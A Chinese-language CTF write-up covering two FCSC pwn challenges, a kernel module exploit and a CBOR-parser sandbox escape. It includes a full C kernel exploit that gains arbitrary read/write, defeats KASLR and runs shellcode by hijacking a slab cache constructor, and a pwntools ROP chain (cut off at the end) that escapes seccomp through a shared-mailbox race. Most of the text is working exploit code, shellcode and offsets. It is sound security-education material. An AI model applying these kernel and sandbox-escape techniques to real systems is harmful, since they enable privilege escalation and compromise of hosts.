void xor_payload(uint8_t *payload, size_t plen, short port) {
    uint8_t out_key[KEY_SIZE];

    crypto_kdf(out_key, KEY_SIZE, port);
    crypto_xor(payload, plen, in_key, sizeof(in_key));
    crypto_xor(payload, plen, out_key, sizeof(out_key));
}

AAR

任意读时伪造:

primitive.in_key = 0;
primitive.out_key = (uint8_t *)target;
primitive.buf = (uint8_t *)dummy_addr;
primitive.buf_len = 0x20;

然后通过dangling连接发送8个。

输入方向:

in_key = NULL
hook_in不做XOR
payload仍然是0

cat回显0。输出方向:

out_key = target
hook_out把target处的内容当key
0 xor *(target) = *(target)

所以收到的8字节就是target处的内容。

AAW

任意写时伪造:

primitive.in_key = 0;
primitive.out_key = 0;
primitive.buf = (uint8_t *)target;
primitive.buf_len = len;

输入方向会把用户payload直接copy到target,两边XOR都被关掉,回包内容不重要。这样就有了稳定AAR/AAW。

模块地址和kernel base

有了AAR后,先读模块全局变量。netsec.ko的符号表和运行时module section可以对出.bss布局:

hash_table = .bss + 0x000
in_key     = .bss + 0x800
cache      = .bss + 0x820

因此先从slab附近读出模块in_key地址,再读in_key+0x20,就能得到全局cache指针。一次运行:

in_key addr = 0xffffffffc031fdc0
cache       = 0xffff9f738132ca00

kernel版本是6.18.7。符号偏移来自同一kernel的debug环境里读取kallsyms,基准为_text:

_text        = 0xffffffff81000000
set_memory_x = 0xffffffff812ba1a0
filp_open    = 0xffffffff8148e190
kernel_read  = 0xffffffff81490ab0
slab_caches  = 0xffffffff820e1560

所以偏移为:

set_memory_x = _text + 0x2ba1a0
filp_open    = _text + 0x48e190
kernel_read  = _text + 0x490ab0
slab_caches  = _text + 0x10e1560

struct kmem_cache会挂到全局slab_caches链表里。当前布局下,cache+0x78是list_head里的一个指针,读出来等于KASLR后的slab_caches:

kbase = arb_read(cache + 0x78, scratch, sfd1, sfd4, p4) - 0x10e1560;

一次运行:

kbase = 0xffffffffa0400000

到这里,内核函数地址都能通过kbase+offset算出来。

定位kmem_cache->ctor

接下来需要一个内核控制流入口。这里没有走modprobe_path,因为题目给的是网络echo通道,用户态触发再把输出带回来更绕。已经有AAR/AAW和kernel base,直接让内核shellcode读/flag.txt更短。

netsec这个custom cache创建时constructor参数是NULL:

kmem_cache_create("netsec", sizeof(struct sec_conn),
                  0, SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);

Linux 6.18.7里struct kmem_cache相关字段顺序可以按源码和实际dump对上:

struct kmem_cache {
    ...
    int refcount;
    void (*ctor)(void *object);
    unsigned int inuse;
    unsigned int align;
    unsigned int red_left_pad;
    const char *name;
    struct list_head list;
    ...
};

dump本题的cache对象:

cache+0x050: 0x0000000000000000
cache+0x068: 0xffff8f348198abe8  -> "netsec"
cache+0x070: 0xffff8f348132c970
cache+0x078: 0xffffffffa70e1560  -> kbase + 0x10e1560 = slab_caches

cache+0x68能读到字符串netsec,说明这里是name字段;cache+0x70/+0x78正好是后面的list_head;往前按字段顺序推,cache+0x50就是ctor,并且原值为0,也符合创建cache时传入NULLconstructor。

所以:

arb_write(cache + 0x50, &set_memory_x, 8);

就是把netsec cache的constructor改成set_memory_x。

这里还有一个参数问题:为什么调用set_memory_x时参数可用?

SLUB在分配对象时,如果cache设置了constructor,会对新分配出来的object调用:

ctor(object);

x86_64调用约定下,第一个参数放在rdi。因此把ctor改成set_memory_x后,下一次kmem_cache_alloc(cache)会以新对象地址作为rdi调用set_memory_x(object)。set_memory_x的接口本来是按页处理地址,传入slab对象内部地址也可以让对应页变成可执行。后面再把shellcode写到同一类slab页里,就能绕过NX执行。

触发shellcode

执行阶段分两轮:

1. cache->ctor = set_memory_x
2. 触发一次netsec cache分配
   -> SLUB调用set_memory_x(object)
   -> 对应slab页变成可执行

3. 再做一轮collision/UAF leak,拿到slab2_addr
4. cache->ctor = slab2_addr
5. AAW把shellcode写到slab2_addr
6. 再触发一次netsec cache分配
   -> SLUB调用ctor(object)
   -> RIP跳到slab2_addr

shellcode做的事情很直接:

filp_open("/flag.txt", 0, 0x124)
kernel_read(file, flag_address, 0xff, 0)
cache->ctor = 0
ret

shellcode读出的内容放到heap_leak+0x200,路径字符串/flag.txt放到heap_leak+0x300。执行完后,用户态继续用AAR从flag_address一段一段读回来。

EXP

#include <netinet/tcp.h>
#include <stdint.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define TARGET_PORT 1337
#define TARGET_IP "192.168.2.2"
#define LOCAL_IP inet_addr("192.168.2.1")

#define HASH(addr, port) (((addr >> 24) ^ (addr >> 16) ^ (addr >> 8) ^ (addr) ^ (port >> 8) ^ (port)) & 0xff)
#define CACHE_SIZE 0x20
#define KEY_SIZE CACHE_SIZE
#define ADDR(addr) ((uint8_t *)&addr)[0], ((uint8_t *)&addr)[1], ((uint8_t *)&addr)[2], ((uint8_t *)&addr)[3], ((uint8_t *)&addr)[4], ((uint8_t *)&addr)[5], ((uint8_t *)&addr)[6], ((uint8_t *)&addr)[7]

uint8_t in_key[KEY_SIZE];

struct sec_conn {
    uint8_t *in_key;
    uint8_t *out_key;
    uint8_t *buf;
    uint buf_len;
};

void crypto_kdf(uint8_t *key, size_t key_len, uint32_t seed) {
    if (key) {
        uint32_t state = seed * 0xdeadbeef + 0x12345;
        for (int i = 0; i < (key_len / 4); i++) {
            state ^= state << 13;
            state ^= state >> 17;
            state ^= state << 5;
            ((uint32_t *)key)[i] = state;
        }
    }
}

void crypto_xor(uint8_t *buf, size_t buf_len, uint8_t *key, size_t key_len) {
    if (buf && key) {
        for (int i = 0; i < buf_len; i++) {
            buf[i] ^= key[i % key_len];
        }
    }
}

short get_collision(short port) {
    int i = 2000;
    int target_hash = HASH(LOCAL_IP, port);

    while (HASH(LOCAL_IP, i) != target_hash)
        i++;

    return i;
}

void die(const char *msg) {
    perror(msg);
    exit(1);
}

void full_write(int fd, const void *buf, size_t len) {
    const uint8_t *p = buf;
    while (len) {
        ssize_t n = write(fd, p, len);
        if (n <= 0)
            die("write");
        p += n;
        len -= n;
    }
}

void full_read(int fd, void *buf, size_t len) {
    uint8_t *p = buf;
    while (len) {
        ssize_t n = read(fd, p, len);
        if (n <= 0)
            die("read");
        p += n;
        len -= n;
    }
}

void free_socket(int fd) {
    shutdown(fd, SHUT_WR);
    close(fd);
}

int open_tcp(short src_port) {
    int sockfd;
    struct sockaddr_in servaddr, cliaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1)
        die("socket");

    int one = 1;
    if (setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
        die("setsockopt TCP_NODELAY");
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
        die("setsockopt SO_REUSEADDR");

    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(TARGET_IP);
    servaddr.sin_port = htons(TARGET_PORT);

    memset(&cliaddr, 0, sizeof(cliaddr));
    cliaddr.sin_family = AF_INET;
    cliaddr.sin_addr.s_addr = INADDR_ANY;
    cliaddr.sin_port = htons(src_port);

    if (bind(sockfd, (struct sockaddr *)&cliaddr, sizeof(cliaddr)) != 0)
        die("bind");
    if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0)
        die("connect");

    return sockfd;
}

void xor_payload(uint8_t *payload, size_t plen, short port) {
    uint8_t out_key[KEY_SIZE];

    crypto_kdf(out_key, KEY_SIZE, port);
    crypto_xor(payload, plen, in_key, sizeof(in_key));
    crypto_xor(payload, plen, out_key, sizeof(out_key));
}

uint64_t arb_read(uint64_t target, uint64_t dummy_addr, int sfd1, int sfd4, short p4) {
    char buff_0x8[0x8];
    struct sec_conn primitive;

    primitive.in_key = 0;
    primitive.out_key = (uint8_t *)target;
    primitive.buf = (uint8_t *)dummy_addr;
    primitive.buf_len = 0x20;

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    full_write(sfd4, &primitive, sizeof(primitive));
    sleep(1);

    memset(buff_0x8, 0, sizeof(buff_0x8));
    full_write(sfd1, buff_0x8, sizeof(buff_0x8));
    full_read(sfd1, buff_0x8, sizeof(buff_0x8));

    return *(uint64_t *)buff_0x8;
}

void arb_write(uint64_t target, uint8_t *data, size_t len, int sfd1, int sfd4, short p4) {
    struct sec_conn primitive;
    void *buff = malloc(len);

    if (!buff)
        die("malloc");

    primitive.in_key = 0;
    primitive.out_key = 0;
    primitive.buf = (uint8_t *)target;
    primitive.buf_len = len;

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    full_write(sfd4, &primitive, sizeof(primitive));
    sleep(1);
    full_write(sfd1, data, len);
    full_read(sfd1, buff, len);
    free(buff);
}

int main(void) {
    int sfd1, sfd2, sfd3, sfd4;
    int p1, p2, p3, p4;
    uint64_t heap_leak, slab_addr, in_key_addr, cache, kbase;
    uint8_t buff_0x8[0x8], buff_0x20[0x20], buff_0x28[0x28];

    setbuf(stdout, NULL);
    crypto_kdf(in_key, KEY_SIZE, TARGET_PORT);

    p1 = 1338;
    p2 = get_collision(p1);
    p3 = 1339;
    p4 = 1340;

    printf("[*] ports p1=%d p2=%d p3=%d p4=%d\n", p1, p2, p3, p4);
    sfd1 = open_tcp(p1);
    sfd2 = open_tcp(p2);
    sfd3 = open_tcp(p3);
    sfd4 = open_tcp(p4);

    free_socket(sfd2);
    memset(buff_0x28, 0, sizeof(buff_0x28));
    full_write(sfd1, buff_0x28, sizeof(buff_0x28));
    full_read(sfd1, buff_0x28, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));

    heap_leak = ((uint64_t *)buff_0x28)[2];
    slab_addr = heap_leak & ~0xfffUL;
    printf("heap_leak = 0x%lx\n", heap_leak);
    printf("slab_addr = 0x%lx\n", slab_addr);

    uint8_t out_key[KEY_SIZE];
    crypto_kdf(out_key, KEY_SIZE, p2);
    ((uint64_t *)out_key)[2] = heap_leak;

    memset(buff_0x28, 0, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, KEY_SIZE);
    crypto_xor(buff_0x28, sizeof(buff_0x28), out_key, KEY_SIZE);
    full_write(sfd1, buff_0x28, sizeof(buff_0x28));
    full_read(sfd1, buff_0x28, sizeof(buff_0x28));
    sleep(1);

    memset(buff_0x20, 0, sizeof(buff_0x20));
    full_write(sfd3, buff_0x20, sizeof(buff_0x20));

    in_key_addr = arb_read(slab_addr, heap_leak + 0x100, sfd1, sfd4, p4);
    printf("in_key addr = 0x%lx\n", in_key_addr);

    cache = arb_read(in_key_addr + 0x20, heap_leak + 0x100, sfd1, sfd4, p4);
    printf("cache = 0x%lx\n", cache);

    kbase = arb_read(cache + 0x78, heap_leak + 0x100, sfd1, sfd4, p4) - 0x10e1560;
    printf("kbase = 0x%lx\n", kbase);

    uint64_t set_memory_x = kbase + 0x002ba1a0;
    arb_write(cache + 0x50, (uint8_t *)&set_memory_x, 8, sfd1, sfd4, p4);
    open_tcp(p4 + 1);
    sleep(1);

    int stage2_fd1 = open_tcp(p4 + 2);
    int stage2_fd2 = open_tcp(get_collision(p4 + 2));
    open_tcp(p4 + 3);

    free_socket(stage2_fd2);
    memset(buff_0x28, 0, sizeof(buff_0x28));
    full_write(stage2_fd1, buff_0x28, sizeof(buff_0x28));
    full_read(stage2_fd1, buff_0x28, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));

    uint64_t slab2_addr = ((uint64_t *)buff_0x28)[2] & ~0xfffUL;
    printf("slab2_addr = 0x%lx\n", slab2_addr);
    sleep(1);

    arb_write(cache + 0x50, (uint8_t *)&slab2_addr, 8, sfd1, sfd4, p4);
    arb_write(slab2_addr + 0x90, (uint8_t *)"\0\0\0\0\0\0\0\0", 8, sfd1, sfd4, p4);

    uint64_t filp_open = kbase + 0x48e190;
    uint64_t kernel_read = kbase + 0x490ab0;
    uint64_t flag_address = heap_leak + 0x200;
    uint64_t path_address = heap_leak + 0x300;
    uint64_t ctor_address = cache + 0x50;
    uint8_t shellcode[] = {
        0x48, 0xB8, ADDR(filp_open), 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
        0x48, 0x31, 0xF6, 0x48, 0xbf, ADDR(path_address), 0x90, 0x90, 0x90,
        0x48, 0xC7, 0xC2, 0x24, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xC7, 0x90, 0x90, 0x90, 0x90,
        0x48, 0xB8, ADDR(kernel_read), 0x48, 0x31, 0xD2, 0x80, 0xC2, 0xFF,
        0x48, 0xbe, ADDR(flag_address), 0x48, 0x31, 0xC9, 0xff, 0xd0, 0x90,
        0x48, 0xb8, ADDR(ctor_address), 0x48, 0xc7, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xc3
    };

    arb_write(path_address, (uint8_t *)"/flag.txt", 10, sfd1, sfd4, p4);
    arb_write(slab2_addr, shellcode, sizeof(shellcode), sfd1, sfd4, p4);
    sleep(1);
    open_tcp(p4 + 4);

    printf("flag address = 0x%lx\n", flag_address);
    char flag[0x100] = {0};
    for (uint64_t i = 0; i < sizeof(flag); i += 8) {
        sleep(1);
        uint64_t f = arb_read(flag_address + i, heap_leak + 0x100, sfd1, sfd4, p4);
        memcpy(flag + i, &f, 8);
        char *end = strchr(flag, '}');
        if (end) {
            *(end + 1) = '\0';
            break;
        }
    }

    printf("%s\n", flag);
    return 0;
}

Flag:

FCSC{d288f59a6f377d03a92e60d5eda85bfd820638160c1af1f0f965d106f7325151}

Not So Boring

这题前半段是一个CBOR解析程序的栈leak和栈溢出,后半段是绕它自己写的sandbox。主线不是直接ROP拿shell,而是先在sandbox child里拿到执行能力,再利用child和supervisor parent之间的共享mailbox,把控制流打到没有seccomp的parent里。最后parent直接execve("/getflag", argv, NULL)。

boring本身Full RELRO、Canary、NX、PIE都开了。libsandbox.so是PIE,NX开了,但没有canary。这个信息的影响是:入口处必须先leak canary/PIE/libc;最后真正执行/getflag最好落到supervisor parent里,因为seccomp只装在child上。

Docker里的启动链也很关键:

socat tcp-listen:4000,reuseaddr,fork exec:'/usr/bin/timeout -k 121 120 /app/wrapper.sh'
wrapper.sh: LD_PRELOAD=/app/libsandbox.so /app/boring

socat exec启动出来的进程,它的stdin/stdout/stderr就是网络连接。libsandbox.so在constructor里fork(),parent跑supervisor,child继续执行boring并安装seccomp。fork以后parent和child都继承同一套fd,所以parent里read(0, ...)读到的就是远端继续发来的数据,parent里execve("/getflag", ...)以后/getflag的stdout也会回到socket。这是最终read(0, r12, 0x200)能成立的基础。

输入层两个洞

程序的player结构里,bytestring保存了长度和一个固定buf:

typedef struct {
    size_t len;
    char   buf[256];
} bytestring_t;

typedef struct {
    bytestring_t nickname;
    bytestring_t email;
    char        speciality[64];
} player_t;

extract_bytestring()保存的是CBOR里的原始长度,但实际最多只拷贝255字节:

dst->len = cbor_bytestring_length(val);
size_t copy = dst->len < sizeof(dst->buf) - 1
              ? dst->len : sizeof(dst->buf) - 1;
memcpy(dst->buf, cbor_bytestring_handle(val), copy);
dst->buf[copy] = '\0';

打印时又用保存下来的len:

static void print_bytefield(const char *label, const char *buf, size_t len)
{
    printf("- %s: ", label);
    fwrite(buf, 1, len, stdout);
    printf("\n");
}

所以给一个很长的nickname,buf只填了前255字节,fwrite会继续把后面的栈内容打出来。最终用第10个player的nickname长度900,泄漏里这些偏移稳定:

canary = u64(leak[0x258:0x260])
pie    = u64(leak[0x268:0x270]) - 0x1fee
libc   = u64(leak[0x298:0x2a0]) - 0x29ca8

第二个洞是email校验。代码本来想检查user和domain长度,但这里写成了&&:

if ((user_len == 0 || user_len >= sizeof user) &&
    (domain_len == 0 || domain_len >= sizeof domain)) {
    fprintf(stderr, "Error: invalid email format (user or domain too long)\n");
    return -1;
}

memcpy(user, email->buf, user_len);
user[user_len] = '\0';

只要domain是正常的teamfrance.ctf,第二半条件为假,于是超长user不会被拒绝。后面的memcpy(user, ...)直接溢出到返回地址。payload形式就是:

email = padding + canary + saved_rbp + rop + b"@teamfrance.ctf"

这里还有个输入约束:ROP字节中不能提前出现0x40,否则memchr(email->buf, '@', email->len)会把它当成@。所以脚本里如果发现ROP payload含@,就断开重连等下一次ASLR。

先把child ROP扩出来

第一段email溢出空间不适合塞太长的ROP,先做一个短链,把后续stage读到.bss再pivot:

scratch = pie + 0x5a00
chain = call3_chain(libc, LIBC.sym["read"], 0, scratch, 0x1000)
chain += flat(libc + POP_RSP, scratch)

后面要操作sandbox的IPC,需要知道两个全局:

ipc_mailbox_t *g_shm_mailbox;
int g_ipc_notify_pipe;

一开始我按本地映射猜libsandbox和PIE的固定关系,这在Docker下不成立。稳定做法是在ROP里直接调用:

dlsym(NULL, "g_ipc_notify_pipe")
dlsym(NULL, "g_shm_mailbox")

拿到符号地址后再write出来,就能得到:

  • g_ipc_notify_pipe的地址和内容,也就是child通知parent的pipe fd。
  • g_shm_mailbox的地址和内容,也就是共享mailbox映射地址。
  • libsandbox基址,等于g_shm_mailbox符号地址减静态偏移0x4110。

这个动态解析是必要的,不然Docker下很容易拿错libsandbox基址,后面jump table全错。

sandbox父子进程关系

libsandbox constructor大致是:

setup_ipc();
pipe(pipe_err);
pipe(pipe_notify);
pid = fork();

if (pid == 0) {
    setenv("SANDBOX_ACTIVE", "1", 1);
    close(pipe_err[0]);
    close(pipe_notify[0]);
    g_ipc_notify_pipe = pipe_notify[1];
    g_error_pipe = pipe_err[1];
    setup_seccomp();
    return;
} else {
    close(pipe_err[1]);
    close(pipe_notify[1]);
    run_supervisor(pid, pipe_err[0], pipe_notify[0]);
}

child继续跑boring,并且装了seccomp。seccomp只允许这些比较有限的系统调用:

read, write, pwrite64, pread64,
open, openat,
brk,
exit, exit_group

parent跑run_supervisor(),没有seccomp。它poll两个fd:一个是seccomp error pipe,一个是IPC notify pipe。child里hook到system/execve/open/...时,会把请求写入共享mailbox,再写notify pipe叫醒parent。

mailbox结构是:

typedef struct {
    int is_ready;
    ipc_message_t message;
} ipc_mailbox_t;

所以如果shm = g_shm_mailbox,真正传给handle_ipc_command()的msg地址就是shm+8。

用/proc/self/mem放shellcode

child被seccomp限制后不能mprotect,但它可以open和pwrite64。这题刚好允许打开/proc/self/mem,所以child ROP可以把shellcode写回自己的text段:

open("/proc/self/mem", O_RDWR)
pwrite64(fd, shellcode, len(shellcode), pie + 0x1230)
jmp pie + 0x1230

写text段的目标地址选pie+0x1230,是因为这个位置在当前进程映射里可执行,覆盖后马上跳过去即可。到这里为止,执行代码的还是sandbox child;下一步要靠共享mailbox去影响parent。

mailbox race

源码里的handle_ipc_command()看上去只是一个switch:

void handle_ipc_command(ipc_message_t *msg) {
    switch (msg->command) {
        case CMD_SYSTEM:
            LOG_CRIT("system('%s') attempted /!\\", msg->data.system.path);
            break;
        ...
        default:
            LOG_CRIT("Command not supported. This should never happen!");
            break;
    }
}

编译后关键部分是:

1771: cmp    QWORD PTR [rdi],0x7
1775: ja     18e1
...
178a: mov    rax,QWORD PTR [rdi]
178d: mov    rbx,rdi
1790: movsxd rax,DWORD PTR [rdx+rax*4]
1794: add    rax,rdx
1797: jmp    rax

先从msg->command读一次做范围检查,确认<=7。但真正查jump table前,它又重新从共享内存里读了一次msg->command。共享内存没有锁,child可以在这两个读之间把command从合法值改成大值。

跳转计算等价于:

target = jump_table + *(int32_t *)(jump_table + command * 4)

我们不能直接写jump_table附近,但可以选一个command,让jump_table + command * 4落进共享的msg里面。最终选的是让读取位置落到msg+0x100:

ctrl = msg + 0x100
k = ((ctrl - jump_table) // 4) mod 2^64
*(uint32_t *)(msg+0x100) = gadget - jump_table

shellcode的race循环做两件事:

  1. 把msg->command先写成合法的0,并把is_ready置1,写notify pipe通知parent。
  2. 等parent进入handle_ipc_command()后,反复在0和k之间切换msg->command。

这不是确定性一次命中,所以脚本保留了两层重试:shellcode内部循环一直打同一个mailbox窗口,外层exploit失败就重连。调试时用puts("MARK")验证过Docker里确实能命中parent gadget;最终readrop路线在Docker proof里第0次连接就出了flag。实际比赛/本机调度不同的话,多跑几次是正常的。

parent gadget

最终用到的libc gadget是0x101cbd:

101cbd: xor    edx,edx
101cbf: mov    rax,QWORD PTR [rbx+0x38]
101cc3: mov    rdi,QWORD PTR [rbx+0x18]
101cc7: lea    rcx,[rbx+0x28]
101ccb: mov    rsi,r12
101cce: mov    edx,DWORD PTR [rax+rdx*1]
101cd1: call   QWORD PTR [rbx+0x40]
...
101ce1: mov    rdx,QWORD PTR [rsp+0xb8]
101ce9: sub    rdx,QWORD PTR fs:0x28
101cf8: add    rsp,0xc0
101cff: pop    rbx
101d00: pop    rbp
101d01: pop    r12
101d03: pop    r13
101d05: pop    r14
101d07: ret

进入这个gadget时,handle_ipc_command()已经把rbx设成了msg,所以:

rdi = *(msg+0x18)
rax = *(msg+0x38)
edx = *(uint32_t *)rax
call *(msg+0x40)

rsi比较特殊,来自parent当前的r12,不是child能直接写的寄存器。这里刚好变成突破口。

supervisor循环里,编译后有:

1323: lea    r12,[rsp+0x20]
...
135c: mov    rdi,r12
135f: call   poll@plt
...
13e1: add    rdi,0x8
13e5: call   handle_ipc_command@plt

r12指向parent栈上的struct pollfd fds[2]。于是这个gadget最适合先打成:

read(0, r12, 0x200)

mailbox里对应布局:

msg+0x18 = 0                 # read的fd
msg+0x38 = msg+0xa0          # 一个可读地址
*(uint32_t *)(msg+0xa0)=0x200
msg+0x40 = read

为什么fd 0是网络输入:Docker里socat exec把socket接到wrapper的stdin/stdout/stderr,wrapper -> boring -> libsandbox constructor fork整个链条都没有关闭0/1/2。fork后parent supervisor继承同一个fd 0,所以parent执行read(0, r12, 0x200)时,读到的就是exploit脚本在stage3后继续发来的栈payload。

parent栈payload的0x68和0x28

这个payload不是随便调的,需要看parent当前栈。

设supervisor循环中init_sandbox当前栈帧的局部变量基准为S。反汇编里:

1323: lea r12,[rsp+0x20]

所以r12 = S + 0x20,也就是我们read开始覆盖的位置。

随后parent调用handle_ipc_command()。call本身压入返回地址,handle_ipc_command()又在范围检查后压了5个寄存器:

push r14
push r13
push r12
push rbp
push rbx

因此跳入libc gadget时:

rsp = S - 0x30

gadget里会做自己的stack canary检查:

mov rdx, [rsp+0xb8]
sub rdx, fs:0x28

也就是检查地址:

(S - 0x30) + 0xb8 = S + 0x88

而我们的写入起点是:

r12 = S + 0x20

所以从写入起点到canary检查槽的距离是:

(S + 0x88) - (S + 0x20) = 0x68

这就是payload前面的b"A"*0x68。canary用前面leak出来的值原样放回去。fork出来的parent和child共享同一个canary,所以child leak到的canary可以用于parent。

canary检查通过后,gadget执行:

add rsp,0xc0
pop rbx
pop rbp
pop r12
pop r13
pop r14
ret

从rsp=S-0x30开始,add rsp,0xc0后变成S+0x90。接着5个pop消耗S+0x90到S+0xb0,最后ret取S+0xb8。

相对写入起点S+0x20,ret槽就是偏移:

(S + 0xb8) - (S + 0x20) = 0x98

canary在偏移0x68,占8字节,到0x70。再填0x28字节,刚好把下一段ROP放到0x98:

return b"A" * 0x68 + p64(canary) + b"B" * 0x28 + rop

ROP本身很短:

execve("/getflag", ["/getflag", NULL], NULL)

/getflag字符串和argv数组已经提前由child shellcode放在共享mailbox里:

msg+0x80 = "/getflag\x00"
msg+0x90 = msg+0x80
msg+0x98 = NULL

parent执行execve后,新进程继承socket stdout,所以flag直接回到连接里。

为什么不是system("/getflag")

一开始走过system("/getflag")方向。本地能用system("echo OK")看到输出,但Docker里没有flag。这里不是race没打到,因为puts("MARK")已经证明parent gadget能命中,stdout也能回到socket。

真正差异在启动方式。本地调试常用:

ld-2.41.so --library-path ./bin --preload ./bin/libsandbox.so ./bin/boring

Docker wrapper用的是:

LD_PRELOAD=/app/libsandbox.so /app/boring

loader的--preload只影响当前exec,不会让后续system()拉起的/bin/sh继承同样的LD_PRELOAD。Docker wrapper设置的是环境变量,system()里的shell会继承它。shell执行/getflag时又加载libsandbox.so,execve被hook拦掉:

int execve(const char *pathname, char *const argv[], char *const envp[]) {
    if (getenv("SANDBOX_ACTIVE")) {
        ipc_message_t msg = { .command = CMD_EXECVE };
        sandbox_send(&msg, sizeof(msg));
        errno = EPERM;
        return -1;
    }
    ...
}

所以最终不走shell,直接在parent ROP里调libc的execve。第三个参数传NULL,/getflag不需要环境变量,反而避免了LD_PRELOAD继承。

EXP

最终验证用的参数:

python3 exploit.py --remote 127.0.0.1:4016 --tries 30 --deadline 3 --start-delay 0 --valid-hold 8 --k-hold 8 --call-func readrop

完整EXP如下:

from pwn import *
from pathlib import Path
import argparse
import time


context.arch = "amd64"


ROOT = Path(__file__).resolve().parent / "not-so-boring"
LIBC = ELF(str(ROOT / "bin/libc-2.41.so"), checksec=False)

POP_RDI = 0x2A145
POP_RSI = 0x2BAA9
POP_RDX = 0xB4BAA
POP_RAX = 0x43C43
POP_RSP = 0x285D8
POP_RCX_RBX = 0xE3CCE
STORE_RAX = 0x1203B6

LIBC_LEAK_OFF = 0x29CA8
RET_MAIN_AFTER_PROCESS = 0x1FEE
MAIN = 0x1F7A
BSS = 0x5A00

LIBSB_FROM_PIE = -0x7000
G_SHM_MAILBOX = 0x4110
G_NOTIFY_PIPE = 0x4104
JUMPTABLE = 0x22E4
PARENT_GADGET = 0x101CBD


def enc_len(major, n):
    base = major << 5
    if n < 24:
        return bytes([base | n])
    if n < 0x100:
        return bytes([base | 24, n])
    if n < 0x10000:
        return bytes([base | 25]) + p16(n, endian="big")
    if n < 0x100000000:
        return bytes([base | 26]) + p32(n, endian="big")
    return bytes([base | 27]) + p64(n, endian="big")


def uint(n):
    return enc_len(0, n)


def bstr(b):
    return enc_len(2, len(b)) + b


def tstr(s):
    b = s.encode()
    return enc_len(3, len(b)) + b


def arr(items):
    return enc_len(4, len(items)) + b"".join(items)


def mp(pairs):
    out = enc_len(5, len(pairs))
    for k, v in pairs:
        out += tstr(k) + v
    return out


def player(nick=b"n", email=b"a@teamfrance.ctf", speciality="x"):
    return mp([
        ("nickname", bstr(nick)),
        ("email", bstr(email)),
        ("speciality", tstr(speciality)),
    ])


def team(players, captain="c", year=2026):
    return mp([
        ("year", uint(year)),
        ("captain", tstr(captain)),
        ("players", arr(players)),
    ])


def leak_payload(leak_len=900):
    ps = [player(bytes([ord("A") + i])) for i in range(9)]
    ps.append(player(b"L" * leak_len))
    return team(ps)


def overflow_payload(canary, chain):
    user = flat(
        b"A" * 72,
        canary,
        0x4141414141414141,
        chain,
    )
    if b"@" in user:
        raise ValueError("ROP payload contains '@'; reconnect and retry")
    email = user + b"@teamfrance.ctf"
    return team([player(b"p", email, "x")])


def start(args):
    if args.remote:
        host, port = args.remote.split(":")
        return remote(host, int(port))
    return process([
        "./bin/ld-2.41.so",
        "--library-path", "./bin",
        "--preload", "./bin/libsandbox.so",
        "./bin/boring",
    ], cwd=str(ROOT))


def recv_prompt(io):
    return io.recvuntil(b"Enter the team composition: ")


def parse_leak(data):
    marker = b"Player #10:\n- Nickname: "
    start = data.index(marker) + len(marker)
    end = data.index(b"\n- Email:", start)
    leak = data[start:end]
    canary = u64(leak[0x258:0x260])
    pie = u64(leak[0x268:0x270]) - RET_MAIN_AFTER_PROCESS
    libc = u64(leak[0x298:0x2A0]) - LIBC_LEAK_OFF
    return leak, canary, pie, libc


def syscall_chain(libc, n, a0=0, a1=0, a2=0):
    return flat(
        libc + POP_RDI, n,
        libc + POP_RSI, a0,
        libc + POP_RDX, a1,
        libc + POP_RCX_RBX, a2, 0,
        libc + LIBC.sym["syscall"],
    )


def call3_chain(libc, func, a0=0, a1=0, a2=0):
    return flat(
        libc + POP_RDI, a0,
        libc + POP_RSI, a1,
        libc + POP_RDX, a2,
        libc + func,
    )


def resolve_globals_and_pivot(io, canary, pie, libc):
    scratch = pie + BSS
    sym_area = scratch + 0x300
    addr_area = scratch + 0x380
    stage2b_area = scratch + 0x500
    final_stage_area = scratch + 0x900

    chain = call3_chain(libc, LIBC.sym["read"], 0, scratch, 0x1000)
    chain += flat(libc + POP_RSP, scratch)
    recv_prompt(io)
    io.send(overflow_payload(canary, chain))

    stage2 = (
        call3_chain(libc, LIBC.sym["dlsym"], 0, sym_area, 0)
        + flat(libc + POP_RDI, addr_area, libc + STORE_RAX)
        + call3_chain(libc, LIBC.sym["dlsym"], 0, sym_area + 0x20, 0)
        + flat(libc + POP_RDI, addr_area + 8, libc + STORE_RAX)
        + call3_chain(libc, LIBC.sym["write"], 1, addr_area, 0x10)
        + call3_chain(libc, LIBC.sym["read"], 0, stage2b_area, 0x400)
        + flat(libc + POP_RSP, stage2b_area)
    )
    syms = b"g_ipc_notify_pipe\x00".ljust(0x20, b"\x00")
    syms += b"g_shm_mailbox\x00".ljust(0x20, b"\x00")
    if len(stage2) > sym_area - scratch:
        raise ValueError("stage2 overlaps dlsym strings")
    io.send(stage2.ljust(sym_area - scratch, b"\x00") + syms)

    addrs = io.recvn(0x10, timeout=2)
    if len(addrs) != 0x10:
        raise RuntimeError(f"short dlsym leak: {addrs!r}")
    notify_addr = u64(addrs[:8])
    shm_global_addr = u64(addrs[8:])
    if notify_addr == 0 or shm_global_addr == 0:
        raise RuntimeError(f"dlsym failed: notify={notify_addr:#x} shm_global={shm_global_addr:#x}")

    stage2b = (
        call3_chain(libc, LIBC.sym["write"], 1, notify_addr, 0x18)
        + call3_chain(libc, LIBC.sym["read"], 0, final_stage_area, 0x800)
        + flat(libc + POP_RSP, final_stage_area)
    )
    io.send(stage2b)

    raw = io.recvn(0x18, timeout=2)
    if len(raw) != 0x18:
        raise RuntimeError(f"short globals leak: {raw!r}")
    pipe_fd = u32(raw[:4])
    shm = u64(raw[0xC:0x14])
    libsb = shm_global_addr - G_SHM_MAILBOX
